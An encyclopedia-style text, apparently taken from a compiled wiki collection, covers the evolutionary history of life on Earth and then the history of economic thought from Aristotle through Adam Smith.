          Several different models have been proposed explaining how a replicator might have developed. Different replicators have been posited, including organic chemicals such as modern proteins, nucleic acids, phospholipids, crystals, or even quantum systems. There is currently no method of determining which of these models, if any, closely fits the origin of life on Earth. One of the older theories, and one which has been worked out in some detail, will serve as an example of how this might occur. The high energy from volcanoes, lightning, and ultraviolet radiation could help drive chemical reactions producing more complex molecules from simple compounds such as methane and ammonia. Among these were many of the relatively simple organic compounds that are the building blocks of life. As the amount of this organic soup increased, different molecules reacted with one another. Sometimes more complex molecules would resultperhaps clay provided a framework to collect and concentrate organic material. The presence of certain molecules could speed up a chemical reaction. All this continued for a very long time, with reactions occurring more or less at random, until by chance there arose a new molecule: the replicator. This had the bizarre property of promoting the chemical reactions which produced a copy of itself, and evolution began properly. Other theories posit a different replicator. In any case, DNA took over the function of the replicator at some point; all known life (with the exception of some viruses and prions) use DNA as their replicator, in an almost identical manner (see genetic code).


          


          


          Cells
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          Modern life has its replicating material packaged neatly inside a cellular membrane. It is easier to understand the origin of the cell membrane than the origin of the replicator, since the phospholipid molecules that make up a cell membrane will often form a bilayer spontaneously when placed in water. Under certain conditions, many such spheres can be formed (see  The bubble theory). It is not known whether this process preceded or succeeded the origin of the replicator (or perhaps it was the replicator). The prevailing theory is that the replicator, perhaps RNA by this point (the RNA world hypothesis), along with its replicating apparatus and maybe other biomolecules, had already evolved. Initial protocells may have simply burst when they grew too large; the scattered contents may then have recolonized other bubbles. Proteins that stabilized the membrane, or that later assisted in an orderly division, would have promoted the proliferation of those cell lines. RNA is a likely candidate for an early replicator since it can both store genetic information and catalyze reactions. At some point DNA took over the genetic storage role from RNA, and proteins known as enzymes took over the catalysis role, leaving RNA to transfer information and modulate the process. There is increasing belief that these early cells may have evolved in association with underwater volcanic vents known as  black smokers. or even hot, deep rocks. However, it is believed that out of this multiplicity of cells, or protocells, only one survived. Current evidence suggests that the last universal common ancestor lived during the early Archean eon, perhaps roughly 3.5 billion years ago or earlier., This LUCA cell is the ancestor of all cells and hence all life on Earth. It was probably a prokaryote, possessing a cell membrane and probably ribosomes, but lacking a nucleus or membrane-bound organelles such as mitochondria or chloroplasts. Like all modern cells, it used DNA as its genetic code, RNA for information transfer and protein synthesis, and enzymes to catalyze reactions. Some scientists believe that instead of a single organism being the last universal common ancestor, there were populations of organisms exchanging genes in lateral gene transfer.


          


          


          Photosynthesis and oxygen
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          It is likely that the initial cells were all heterotrophs, using surrounding organic molecules (including those from other cells) as raw material and an energy source. As the food supply diminished, a new strategy evolved in some cells. Instead of relying on the diminishing amounts of free-existing organic molecules, these cells adopted sunlight as an energy source. Estimates vary, but by about 3 billion years ago, something similar to modern photosynthesis had probably developed. This made the suns energy available not only to autotrophs but also to the heterotrophs that consumed them. Photosynthesis used the plentiful carbon dioxide and water as raw materials and, with the energy of sunlight, produced energy-rich organic molecules ( carbohydrates).


          Moreover, oxygen was produced as a waste product of photosynthesis. At first it became bound up with limestone, iron, and other minerals. There is substantial proof of this in iron-oxide rich layers in geological strata that correspond with this time period. The oceans would have turned to a green colour while oxygen was reacting with minerals. When the reactions stopped, oxygen could finally enter the atmosphere. Though each cell only produced a minute amount of oxygen, the combined metabolism of many cells over a vast period of time transformed Earths atmosphere to its current state. Among the oldest examples of oxygen-producing lifeforms are fossil Stromatolites.


          This, then, is Earths third atmosphere. Some of the oxygen was stimulated by incoming ultraviolet radiation to form ozone, which collected in a layer near the upper part of the atmosphere. The ozone layer absorbed, and still absorbs, a significant amount of the ultraviolet radiation that once had passed through the atmosphere. It allowed cells to colonize the surface of the ocean and ultimately the land: without the ozone layer, ultraviolet radiation bombarding the surface would have caused unsustainable levels of mutation in exposed cells. Besides making large amounts of energy available to life-forms and blocking ultraviolet radiation, the effects of photosynthesis had a third, major, and world-changing impact. Oxygen was toxic; probably much life on Earth died out as its levels rose (the  Oxygen Catastrophe). Resistant forms survived and thrived, and some developed the ability to use oxygen to enhance their metabolism and derive more energy from the same food.


          


          


          Endosymbiosis and the three domains of life
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          Modern taxonomy classifies life into three domains. The time of the origin of these domains are speculative. The Bacteria domain probably first split off from the other forms of life (sometimes called Neomura), but this supposition is controversial. Soon after this, by 2 billion years ago, the Neomura split into the Archaea and the Eukarya. Eukaryotic cells (Eukarya) are larger and more complex than prokaryotic cells (Bacteria and Archaea), and the origin of that complexity is only now coming to light. Around this time period a bacterial cell related to todays Rickettsia entered a larger prokaryotic cell. Perhaps the large cell attempted to ingest the smaller one but failed (maybe due to the evolution of prey defenses). Perhaps the smaller cell attempted to parasitize the larger one. In any case, the smaller cell survived inside the larger cell. Using oxygen, it was able to metabolize the larger cells waste products and derive more energy. Some of this surplus energy was returned to the host. The smaller cell replicated inside the larger one, and soon a stable symbiotic relationship developed. Over time the host cell acquired some of the genes of the smaller cells, and the two kinds became dependent on each other: the larger cell could not survive without the energy produced by the smaller ones, and these in turn could not survive without the raw materials provided by the larger cell. Symbiosis developed between the larger cell and the population of smaller cells inside it to the extent that they are considered to have become a single organism, the smaller cells being classified as organelles called mitochondria. A similar event took place with photosynthetic cyanobacteria entering larger heterotrophic cells and becoming chloroplasts., Probably as a result of these changes, a line of cells capable of photosynthesis split off from the other eukaryotes some time before one billion years ago. There were probably several such inclusion events, as the figure at left suggests. Besides the well-established endosymbiotic theory of the cellular origin of mitochondria and chloroplasts, it has been suggested that cells gave rise to peroxisomes, spirochetes gave rise to cilia and flagella, and that perhaps a DNA virus gave rise to the cell nucleus,, though none of these theories are generally accepted. During this period, the supercontinent Columbia is believed to have existed, probably from around 1.8 to 1.5 billion years ago; it is the oldest hypothesized supercontinent.
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          Archaeans, bacteria, and eukaryotes continued to diversify and to become more sophisticated and better adapted to their environments. Each domain repeatedly split into multiple lineages, although little is known about the history of the archaea and bacteria. Around 1.1 billion years ago, the supercontinent Rodinia was assembling. The plant, animal, and fungi lines had all split, though they still existed as solitary cells. Some of these lived in colonies, and gradually some division of labor began to take place; for instance, cells on the periphery might have started to assume different roles from those in the interior. Although the division between a colony with specialized cells and a multicellular organism is not always clear, around 1 billion years ago, the first multicellular plants emerged, probably green algae. Possibly by around 900 million years ago, true multicellularity had also evolved in animals. At first it probably somewhat resembled that of todays sponges, where all cells were totipotent and a disrupted organism could reassemble itself. As the division of labor became more complete in all lines of multicellular organisms, cells became more specialized and more dependent on each other; isolated cells would die. Many scientists believe that a very severe ice age began around 770 million years ago, so severe that the surface of all the oceans completely froze (Snowball Earth). Eventually, after 20 million years, enough carbon dioxide escaped through volcanic outgassing; the resulting greenhouse effect raised global temperatures. By around the same time, 750 million years ago, Rodinia began to break up.


          


          


          Colonization of land
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          Oxygen accumulation from photosynthesis resulted in the formation of an ozone layer that absorbed much of Suns ultraviolet radiation, meaning unicellular organisms that reached land were less likely to die, and prokaryotes began to multiply and become better adapted to survival out of the water. Prokaryotes had likely colonized the land as early as 2.6 billion years ago even before the origin of the eukaryotes. For a long time, the land remained barren of multicellular organisms. The supercontinent Pannotia formed around 600 million years ago and then broke apart a short 50 million years later. Fish, the earliest vertebrates, evolved in the oceans around 530 million years ago. A major extinction event occurred near the end of the Cambrian period, which ended 488 million years ago.


          Several hundred million years ago, plants (probably resembling algae) and fungi started growing at the edges of the water, and then out of it. The oldest fossils of land fungi and plants date to 480460 million years ago, though molecular evidence suggests the fungi may have colonized the land as early as 1000 million years ago and the plants 700 million years ago. Initially remaining close to the waters edge, mutations and variations resulted in further colonization of this new environment. The timing of the first animals to leave the oceans is not precisely known: the oldest clear evidence is of arthropods on land around 450 million years ago, perhaps thriving and becoming better adapted due to the vast food source provided by the terrestrial plants. There is also some unconfirmed evidence that arthropods may have appeared on land as early as 530 million years ago. At the end of the Ordovician period, 440 million years ago, additional extinction events occurred, perhaps due to a concurrent ice age. Around 380 to 375 million years ago, the first tetrapods evolved from fish. It is thought that perhaps fins evolved to become limbs which allowed the first tetrapods to lift their heads out of the water to breathe air. This would let them survive in oxygen-poor water or pursue small prey in shallow water. They may have later ventured on land for brief periods. Eventually, some of them became so well adapted to terrestrial life that they spent their adult lives on land, although they hatched in the water and returned to lay their eggs. This was the origin of the amphibians. About 365 million years ago, another period of extinction occurred, perhaps as a result of global cooling. Plants evolved seeds, which dramatically accelerated their spread on land, around this time (by approximately 360 million years ago).,
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          Some 20 million years later (340 million years ago), the amniotic egg evolved, which could be laid on land, giving a survival advantage to tetrapod embryos. This resulted in the divergence of amniotes from amphibians. Another 30 million years (310 million years ago) saw the divergence of the synapsids (including mammals) from the sauropsids (including birds and non-avian, non-mammalian reptiles). Other groups of organisms continued to evolve and lines divergedin fish, insects, bacteria, and so onbut less is known of the details. 300 million years ago, the most recent hypothesized supercontinent formed, called Pangaea. The most severe extinction event to date took place 250 million years ago, at the boundary of the Permian and Triassic periods; 95% of life on Earth died out, possibly due to the Siberian Traps volcanic event. The discovery of the Wilkes Land crater in Antarctica may suggest a connection with the Permian-Triassic extinction, but the age of that crater is not known. But life persevered, and around 230 million years ago , dinosaurs split off from their reptilian ancestors. An extinction event between the Triassic and Jurassic periods 200 million years ago spared many of the dinosaurs, and they soon became dominant among the vertebrates. Though some of the mammalian lines began to separate during this period, existing mammals were probably all small animals resembling shrews. By 180 million years ago, Pangaea broke up into Laurasia and Gondwana. The boundary between avian and non-avian dinosaurs is not clear, but Archaeopteryx, traditionally considered one of the first birds, lived around 150 million years ago. The earliest evidence for the angiosperms evolving flowers is during the Cretaceous period, some 20 million years later (132 million years ago) Competition with birds drove many pterosaurs to extinction, and the dinosaurs were probably already in decline for various reasons when, 65 million years ago, a 10-kilometer meteorite likely struck Earth just off the Yucatn Peninsula, ejecting vast quantities of particulate matter and vapor into the air that occluded sunlight, inhibiting photosynthesis. Most large animals, including the non-avian dinosaurs, became extinct. marking the end of the Cretaceous period and Mesozoic era. Thereafter, in the Paleocene epoch, mammals rapidly diversified, grew larger, and became the dominant vertebrates. Perhaps a couple of million years later (around 63 million years ago), the last common ancestor of primates lived. By the late Eocene epoch, 34 million years ago, some terrestrial mammals had returned to the oceans to become animals such as Basilosaurus which later gave rise to dolphins and whales.
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          A small African ape living around six million years ago was the last animal whose descendants would include both modern humans and their closest relatives, the bonobos, and chimpanzees. Only two branches of its family tree have surviving descendants. Very soon after the split, for reasons that are still debated, apes in one branch developed the ability to walk upright. Brain size increased rapidly, and by 2 million years ago, the very first animals classified in the genus Homo had appeared. Of course, the line between different species or even genera is rather arbitrary as organisms continuously change over generations. Around the same time, the other branch split into the ancestors of the common chimpanzee and the ancestors of the bonobo as evolution continued simultaneously in all life forms. The ability to control fire likely began in Homo erectus (or Homo ergaster), probably at least 790,000 years ago but perhaps as early as 1.5 million years ago. In addition it has sometimes suggested that the use and discovery of controlled fire may even predate Homo erectus fire was possibly used by the early Lower Paleolithic (Oldowan) hominid Homo habilis and/or by robust australopithecines such as Paranthropus However it is more difficult to establish the origin of language; it is unclear whether Homo erectus could speak or if that capability had not begun until Homo sapiens. As brain size increased, babies were born sooner, before their heads grew too large to pass through the pelvis. As a result, they exhibited more plasticity, and thus possessed an increased capacity to learn and required a longer period of dependence. Social skills became more complex, language became more advanced, and tools became more elaborate. This contributed to further cooperation and brain development. Anatomically modern humans  Homo sapiens  are believed to have originated somewhere around 200,000 years ago or earlier in Africa; the oldest fossils date back to around 160,000 years ago. The first humans to show evidence of spirituality are the Neanderthals (usually classified as a separate species with no surviving descendants); they buried their dead, often apparently with food or tools. However, evidence of more sophisticated beliefs, such as the early Cro-Magnon cave paintings (probably with magical or religious significance) did not appear until some 32,000 years ago. Cro-Magnons also left behind stone figurines such as Venus of Willendorf, probably also signifying religious belief. By 11,000 years ago, Homo sapiens had reached the southern tip of South America, the last of the uninhabited continents. Tool use and language continued to improve; interpersonal relationships became more complex.


          


          


          Civilization
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          Throughout more than 90% of its history, Homo sapiens lived in small bands as nomadic hunter-gatherers. As language became more complex, the ability to remember and transmit information resulted in a new sort of replicator: the meme. Ideas could be rapidly exchanged and passed down the generations. Cultural evolution quickly outpaced biological evolution, and history proper began. Somewhere between 8500 and 7000 BC, humans in the Fertile Crescent in Middle East began the systematic husbandry of plants and animals: agriculture. This spread to neighboring regions, and also developed independently elsewhere, until most Homo sapiens lived sedentary lives in permanent settlements as farmers. Not all societies abandoned nomadism, especially those in isolated areas of the globe poor in domesticable plant species, such as Australia. However, among those civilizations that did adopt agriculture, the relative security and increased productivity provided by farming allowed the population to expand. Agriculture had a major impact; humans began to affect the environment as never before. Surplus food allowed a priestly or governing class to arise, followed by increasing division of labor. This led to Earths first civilization at Sumer in the Middle East, between 4000 and 3000 BC. Additional civilizations quickly arose in ancient Egypt, at the Indus River valley and in China.


          Starting around 3000 BC, Hinduism, one of the oldest religions still practiced today, began to take form. Others soon followed. The invention of writing enabled complex societies to arise: record-keeping and libraries served as a storehouse of knowledge and increased the cultural transmission of information. Humans no longer had to spend all their time working for survivalcuriosity and education drove the pursuit of knowledge and wisdom. Various disciplines, including science (in a primitive form), arose. New civilizations sprang up, traded with one another, and engaged in war for territory and resources: empires began to form. By around 500 BC, there were empires in the Middle East, Iran, India, China, and Greece, approximately on equal footing; at times one empire expanded, only to decline or be driven back later.


          In the fourteenth century, the Renaissance began in Italy with advances in religion, art, and science. Starting around 1500, European civilization began to undergo changes leading to the scientific and industrial revolutions: that continent began to exert political and cultural dominance over human societies around the planet. From 1914 to 1918 and 1939 to 1945, nations around the world were embroiled in world wars. Established following World War I, the League of Nations was a first step in establishing international institutions to resolve disputes peacefully; after its failure to prevent World War II and the subsequent end of the conflict it was replaced by the United Nations. In 1992, several European nations joined together in the European Union. As transportation and communication improved, the economies and political affairs of nations around the world have become increasingly intertwined. This globalization has often produced discord, although increased collaboration has resulted as well.
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          Change has continued at a rapid pace from the mid- 1940s to today. Technological developments include nuclear weapons, computers, genetic engineering, and nanotechnology. Economic globalization spurred by advances in communication and transportation technology has influenced everyday life in many parts of the world. Cultural and institutional forms such as democracy, capitalism, and environmentalism have increased influence. Major concerns and problems such as disease, war, poverty, violent radicalism, and more recently, global warming have risen as the world population increases.


          In 1957, the Soviet Union launched the first artificial satellite into orbit and, soon afterward, Yuri Gagarin became the first human in space. Neil Armstrong, an American, was the first to set foot on another astronomical object, the Earth's Moon. Unmanned probes have been sent to all the major planets in the solar system, with some (such as Voyager) having left the solar system. The Soviet Union and the United States of America were the primary early leaders in space exploration in the 20th Century. Five space agencies, representing over fifteen countries, have worked together to build the International Space Station. Aboard it, there has been a continuous human presence in space since 2000.
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          The history of economic thought deals with different thinkers and theories in the field of political economy and economics from the ancient world right up to the present day. Although the British philosopher Adam Smith is generally considered the father of economics, his ideas built upon a considerable body of work from predecessors in the eighteenth century. They in turn were grappling with wisdom received from centuries before and attempting to apply it to a modern setting.


          Economics was not considered a separate discipline until the nineteenth century. Aristotle, the ancient Greek philosopher, grappled with the "art" of wealth acquisition, and whether property is best left in private, or public, hands in his works on politics and ethics. In medieval times, scholars like Thomas Aquinas argued that it was a moral obligation of businesses to sell goods at a just price. Economic thought evolved from feudalism in the Middle Ages to mercantilist theory in the renaissance, when the prevailing wisdom advocated that trade policy be structured in order to further the national interest. The modern political economy of Adam Smith appeared during the industrial revolution, when technological advancement, global exploration, and material opulence that had previously been unimaginable was becoming a reality. Changes in economic thought have always accompanied changes in the economy, just as changes in economic thought can propel change in economic policy.


          Following Adam Smith's Wealth of Nations, classical economists such as David Ricardo and John Stuart Mill examined the ways the landed, capitalist and labouring classes produced and distributed national riches. In the midst of the London slums, Karl Marx castigated the capitalist system of exploitation and alienation he saw around him, before neo-classical economics in a new Imperial era sought to erect a positive, mathematical and scientifically grounded field above normative politics. After the wars of the early twentieth century, John Maynard Keynes led a reaction against governmental abstention from economic affairs, advocating interventionist fiscal policy to stimulate economic demand, growth and prosperity. But with a world divided between the capitalist first world, the communist second world, and the poor of the third world, the post-war consensus broke down. Men like Milton Friedman and Friedrich von Hayek caught the imagination of western leaders, warning of The Road to Serfdom and socialism, focusing their theory on what could be achieved through better monetary policy and deregulation. However the reaction of governments through the 1980s has been challenged, and development economists like Amartya Sen and information economists like Joseph Stiglitz are bringing a new light to economic thought in the twenty first century.
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              	"A monk travelling back to Germany from a pilgrimage to Rome joined a band of merchants. He showed them a silver chalice he had purchased for his cathedral at home and told them what he paid for it. They laughed with astonishment and congratulated him, because he had made a killer of a bargain and they mused that an unworldly monk was able to drive an even better deal than any of them. The monk so was horrified at their reaction that he left immediately, and went back to Rome to pay more to the chalice maker for what should have been the just price."
            


            
              	The Parable of the Monk
            

          


          The earliest know treatise on economic principles was the Arthashastra by Chanakya, in ancient India. In Ancient Greece, Socrates and Plato discussed the natural process of specialisation of labour and production in The Republic. Plato's pupil, Aristotle, deepened the discussion from the point of view of a slave owning society, but also a city-state that produced a primitive democracy. He examined household spending, market exchanges, and motivations for human action. Aristotle spoke, as was done until relatively recently, about "economic" subjects as a part of politics, justice and ethics. With the collapse of the Ancient world and the end of Roman civilization, economic discussion in Europe flagged as societies were cast under the shadow of the Dark Ages. The Middle Ages were intensely religious, under a feudal order as the crusades went underway. The signs that the Dark Ages had passed were found in the increase in trade across the continent, and the development of the lex mercatoria. Many worried that the economic changes embodied a threat to old attachments to a moral order, which are represented by the Parable of the Monk. This story illustrated the tension between old attitudes and an increasingly commercial world.
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          Aristotle was an Ancient Greek philosopher. He was educated by Plato, who in turn was taught by the philosopher and orator Socrates. Aristotle was Plato's most important critic, especially on the topic of what a perfect or ideal state might be. In Politics (c.a. 350 BC) Aristotle examined different examples of a state (monarchy, aristocracy, constitutional government; tyranny, oligarchy, democracy) partly as a critique of Plato's book, the Republic. Whereas Plato had advocated a state run by an educated class of "philosopher-kings", specially trained in management of the country and based on the common ownership of resources, Aristotle viewed this model as an oligarchical anathema. In Politics, Book II, Part V, he argued that,


          
            "Property should be in a certain sense common, but, as a general rule, private; for, when everyone has a distinct interest, men will not complain of one another, and they will make more progress, because every one will be attending to his own business... And further, there is the greatest pleasure in doing a kindness or service to friends or guests or companions, which can only be rendered when a man has private property. These advantages are lost by excessive unification of the state."

          


          Though Aristotle certainly advocated there be many things held in common, he argued that not everything could be, simply because of the "wickedness of human nature". "It is clearly better that property should be private," wrote Aristotle, "but the use of it common; and the special business of the legislator is to create in men this benevolent disposition." In Politics Book I, Aristotle discusses the general nature of households and market exchanges. For him there is a certain "art of acquisition" or "wealth-getting". "Of everything which we possess," writes Aristotle, foreshadowing Karl Marx's theory of use and exchange value, "there are two uses... a shoe is used to wear, and is used for exchange." Money itself has the sole purpose of being a medium of exchange, which means on its own "it is worthless... not useful as a means to any of the necessities of life". Nevertheless, points out Aristotle, because the "instrument" of money is the same many people are obsessed with the simple accumulation of money. "Wealth-getting" for one's household is "necessary and honourable", while exchange on the retail trade for simple accumulation is "justly censured, for it is dishonourable". Aristotle disapproved highly of usury and also cast scorn on making money through monopoly. In Nicomachean Ethics (c.a. 350 BC) Aristotle discusses further the use of money as a medium of exchange, and its reflection of the demand for goods and services.
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          Thomas Aquinas (1225-1274) was an Italian theologian and one of the earliest writers on the topic of economic issues. He taught in both Cologne and Paris was part of a group of Catholic scholars known as the Schoolmen who first moved their enquiries beyond theology to philosophical and scientific debates. In his treatise Summa Theologica Aquinas dealt with the concept of a just price, which was one necessary for the reproduction of the social order. Bearing many similarities with the modern concept of long run equilibrium a just price was supposed to be one just sufficient to cover the costs of production, including the maintenance of a worker and his family. He argued it was immoral for sellers to raise their prices simply because buyers were in pressing need for a product.


          
            "If someone would be greatly helped by something belonging to someone else, and the seller not similarly harmed by losing it, the seller must not sell for a higher price: because the usefulness that goes to the buyer comes not from the seller, but from the buyer's needy condition: no one ought to sell something that doesn't belong to him."

          


          Aquinas discusses a number of topics in the format of questions and replies, substantial tracts dealing with Aristotle's theory. Questions 77 and 78 concerned economic issues, mainly relate to what a just price is, and the fairness of a seller dispensing faulty goods. Aquinas argued against any form of cheating and recommended compensation always be paid in lieu of good service. Whilst human laws might not impose sanctions for unfair dealing, divine law did.


          


          John Duns Scotus


          One of Aquinas' main critics was Duns Scotus (1265-1308) in his work Sententiae (1295). Originally from Duns, Scotland he taught in Oxford, Cologne and Paris. Duns Scotus thought it possible to be more precise than Thomas in calculating a just price, emphasising the costs of labour and expenses - though he recognised that the latter might be inflated by exaggeration. Because buyer and seller usually have different ideas of what a just price comprises, he thought an agreed price usually contains a gift' element on either side, an early forerunner to the idea of trade being a "win-win" situation. If people did not benefit from a transaction, in Scotus' view, they would not trade. Scotus defended merchants as performing a necessary and useful social role, transporting goods and making them available to the public.


          


          Mercantilists and nationalism
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          From the localism of the Middle Ages, the waning feudal lords, new national economic frameworks began to be strengthened. From 1492 and explorations like Christopher Columbus' voyages, new opportunities for trade with the New World and Asia were opening. New powerful monarchies wanted a powerful state in order to boost their status. Mercantilism was a political movement and an economic theory that advocated the use of the state's military power to ensure local markets and supply sources were protected. Tariffs could be used to encourage exports (meaning more money comes into the country) and discourage imports (sending wealth abroad). In other words a positive balance of trade ought to be maintained, with a surplus of exports. The term mercantilism was not in fact coined until the late 1763 by Victor de Riqueti, marquis de Mirabeau and popularised by Adam Smith, who vigorously opposed its ideas.


          


          Thomas Mun


          English businessman Thomas Mun (1571-1641) represents early mercantile policy in his book England's Treasure by Foraign Trade . Although it was not published until 1663 it was widely circulated as a manuscript before then. He was a member of the East India Company and also wrote about his experiences there in A Discourse of Trade from England unto the East Indies (1621). According to Mun, trade was the only way to increase Englands treasure (i.e., national wealth) and in pursuit of this end he suggested several courses of action. Important were frugal consumption in order to increase the amount of goods available for export, increased utilisation of land and other domestic natural resources to reduce import requirements, lowering of export duties on goods produced domestically from foreign materials, and the export of goods with inelastic demand because more money could be made from higher prices.


          


          Philipp von Hrnigk


          
            [image: The title page to Philipp von H�rnigk statement of mercantilist philosophy]

            
              The title page to Philipp von Hrnigk statement of mercantilist philosophy
            

          


          Philipp von Hrnigk (1640-1712, sometimes spelt Hornick or Horneck) was born in Frankfurt am Main and became an Austrian civil servant writing in a time when his country was constantly threatened by Turkish invasion. In sterreich ber Alles, Wenn Sie Nur Will (1684, Austria Over All, If She Only Will) he laid out one of the clearest statements of mercantile policy. He listed nine principal rules of national economy.


          
            "To inspect the country's soil with the greatest care, and not to leave the agricultural possibilities of a single corner or clod of earth unconsidered... All commodities found in a country, which cannot be used in their natural state, should be worked up within the country... Attention should be given to the population, that it may be as large as the country can support... gold and silver once in the country are under no circumstances to be taken out for any purpose... The inhabitants should make every effort to get along with their domestic products... [Foreign commodities] should be obtained not for gold or silver, but in exchange for other domestic wares... and should be imported in unfinished form, and worked up within the country... Opportunities should be sought night and day for selling the country's superfluous goods to these foreigners in manufactured form... No importation should be allowed under any circumstances of which there is a sufficient supply of suitable quality at home."

          


          Nationalism, self-sufficiency and national power were the basic policies proposed.


          


          Jean Baptiste Colbert


          Jean Baptiste Colbert (1619-1683) was Minister of Finance under King Louis XIV of France. He set up national guilds to regulate major industries. Silk, linen, tapestry, furniture manufacture and wine were examples of the crafts in which France specialised, all of which came to require membership of a guild to operate in. These remained until the French revolution. According to Colbert, "It is simply, and solely, the abundance of money within a state [which] makes the difference in its grandeur and power."


          


          British enlightenment


          Britain had gone through some of its most troubling times through the 17th century, enduring not only political and religious division in the English Civil War, King Charles I's execution and the Cromwellian dictatorship, but also the plagues and fires. The monarchy was restored under Charles II, who had catholic sympathies, but his successor King James II was swiftly ousted. Invited in his place were Protestant William of Orange and Mary, who assented to the Bill of Rights 1689 ensuring that the Parliament was dominant in what became known as the Glorious revolution. The upheaval had seen a number huge scientific advances, including Robert Boyle's discovery of the gas pressure constant (1660) and Sir Isaac Newton's publication of Philosophiae Naturalis Principia Mathematica (1687), which described the three laws of motion and his law of universal gravitation. All these factors spurred the advancement of economic thought. For instance, Richard Cantillon (1680-1734) consciously imitated Newton's forces of inertia and gravity in the natural world with human reason and market competition in the economic world. In his Essay on the Nature of Commerce in General, he argued rational self interest in a system of freely adjusting markets would lead to order and mutually compatible prices. Unlike the mercantilist thinkers however, wealth was found not in trade but in human labour. The first person to tie these ideas into a political framework was John Locke.


          


          John Locke
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          John Locke (1632-1704) was born near Bristol and educated in London and Oxford. He is considered one of the most significant philosophers of his era mainly for his critique of Thomas Hobbes' defence of absolutism and the development of social contract theory in Leviathan (1651). Locke believed that people contracted into society which was bound to protect their rights of property. He defined property broadly to include people's lives and liberties, as well as their wealth. When people combined their labour with their surroundings, then that created property rights. In his words from his Second Treatise on Civil Government (1689),


          
            "God hath given the world to men in common... Yet every man has a property in his own person. The labour of his body and the work of his hands we may say are properly his. Whatsoever, then, he removes out of the state that nature hath provided and left it in, he hath mixed his labour with, and joined to it something that is his own, and thereby makes it his property."

          


          Locke was arguing that not only should the government cease interference with people's property (or their "lives, liberties and estates") but also that it should positively work to ensure their protection. His views on price and money were laid out in a letter to a Member of Parliament in 1691 entitled Some Considerations on the Consequences of the Lowering of Interest and the Raising of the Value of Money (1691). Here Locke argued that the "price of any commodity rises or falls, by the proportion of the number of buyers and sellers," a rule which "holds universally in all things that are to be bought and sold."


          


          Dudley North
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          Dudley North (1641-1691) was a wealthy merchant and landowner. He worked as an official for the Treasury and was opposed to most mercantile policy. In his Discourses upon trade (1691), which he published anonymously, he argued that the assumption of needing a favourable trade balance was wrong. Trade, he argued, benefits both sides, it promotes specialisation, the division of labour and produces an increase in wealth for everyone. Regulation of trade interfered with these benefits by reducing the flow of wealth.


          


          David Hume


          David Hume (1711-1776) agreed with North's philosophy and denounced mercantile assumptions. His contributions were set down in Political Discourses (1752), later consolidated in his Essays, Moral, Political, Literary (1777). Added to the fact that it was undesirable to strive for a favourable balance of trade it is, said Hume, in any case impossible. Hume held that any surplus of exports that might be achieved would be paid for by imports of gold and silver. This would increase the money supply, causing prices to rise. That in turn would cause a decline in exports until the balance with imports is restored.


          


          The circular flow
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          Similarly disenchanted with regulation on trademarks inspired by mercantilism, a Frenchman name Vincent de Gournay (1712-1759) is reputed to have asked why it was so hard to laissez faire, laissez passer (free trade, free enterprise). He was one of the early physiocrats, a word from Greek meaning "government of nature", who held that agriculture was the source of wealth. As historian David B. Danbom wrote, the Physiocrats "damned cities for their artificiality and praised more natural styles of living. They celebrated farmers." Over the end of the seventeenth and beginning of the eighteenth century big advances in natural science and anatomy were being made, including the discovery of blood circulation through the human body. This concept was mirrored in the physiocrats' economic theory, with the notion of a circular flow of income throughout the economy.


          


          Franois Quesnay


          Franois Quesnay (1694-1774) was the court physician to King Louis XV of France. He believed that trade and industry were not sources of wealth, and instead in his book, Tableau conomique (1758, Economic Table) argued that agricultural surpluses, by flowing through the economy in the form of rent, wages and purchases were the real economic movers. Firstly, said Quesnay, regulation impedes the flow of income throughout all social classes and therefore economic development. Secondly, taxes on the productive classes, such as farmers, should be reduced in favour of rises for unproductive classes, such as landowners, since their luxurious way of life distorts the income flow.


          


          Jacques Turgot


          Jacques Turgot (1727-1781) was born in Paris and from an old Norman family. His best known work, Rflexions sur la formation et la distribution des richesses (1766, Reflections on the Formation and Distribution of Wealth) developed Quesnay's theory that land is the only source of wealth. Turgot viewed society in terms of three classes: the productive agricultural class, the salaried artisan class (classe stipendice) and the landowning class (classe disponible). He argued that only the net product of land should be taxed and advocated the complete freedom of commerce and industry. In August of 1774, Turgot was appointed to be Minister of Finance and in the space of two years introduced many anti-mercantile and anti-feudal measures supported by the King. A statement of his guiding principles, given to the King were "no bankruptcy, no tax increases, no borrowing." Turgot's ultimate wish was to have a single tax on land and abolish all other indirect taxes, but measures he introduced before that were met with overwhelming opposition from landed interests. Two edicts in particular, one suppressing corves (charges from farmers to aristocrats) and another renouncing privileges given to guilds inflamed influential opinion. He was forced from office in 1776.


          


          The Wealth of Nations
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          Adam Smith (1723-1790) is popularly seen as the father of modern political economy. His publication of the An Inquiry Into the Nature and Causes of the Wealth of Nations in 1776 happened to coincide not only with the American Revolution, shortly before the Europe wide upheavals of the French Revolution, but also the dawn of a new industrial revolution that allowed more wealth to be created on a larger scale than ever before. Smith was a Scottish moral philosopher, whose first break was The Theory of Moral Sentiments (1759). He argued in this that people's ethical systems develop through personal relations with other individuals, that right and wrong are sensed through others' reactions to one's behaviour. This gained Smith more popularity than his next famous work, The Wealth of Nations, which the general public ignored. Yet Smith's political economic magnum opus was successful in circles that mattered.


          


          Context
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          William Pitt, the Tory Prime Minister in the late 1780s based his tax proposals on Smith's ideas and advocated free trade as a devout disciple of The Wealth of Nations. Smith was appointed a commissioner of customs and within twenty years Smith had a following of new generation writers who were intent on building the science of political economy. Smith expressed an affinity himself to the opinions of Edmund Burke, known widely as a political philosopher, a Member of Parliament.


          
            "Burke is the only man I ever knew who thinks on economic subjects exactly as I do without any previous communication having passed between us".

          


          Burke was an established political economist himself, with his book Thoughts and Details on Scarcity. He was widely critical of liberal politics, and condemned the French Revolution which began in 1789. In Reflections on the Revolution in France (1790) he wrote that the "age of chivalry is dead, that of sophisters, economists and calculators has succeeded, and the glory of Europe is extinguished forever." Smith's contemporary influences included Francois Quesnay and Jacques Turgot who he met on a stay in Paris, and David Hume, his Scottish compatriot. The times produced a common need among thinkers to explain social upheavals of the Industrial revolution taking place, and in the seeming chaos without the feudal and monarchical structures of Europe, show there was order still.


          


          The invisible hand


          
            
              	"It is not from the benevolence of the butcher, the brewer or the baker, that we expect our dinner, but from their regard to their own self interest. We address ourselves, not to their humanity but to their self-love, and never talk to them of our own necessities but of their advantages."
            


            
              	Adam Smith's famous statement on self interest
            

          


          Smith argued for a "system of natural liberty" where individual effort was the producer of social good. Smith believed even the selfish within society were kept under restraint and worked for the good of all when acting in a competitive market. Prices are often unrepresentative of the true value of goods and services. Following John Locke Smith thought true value of things derived from the amount of labour invested in them.


          
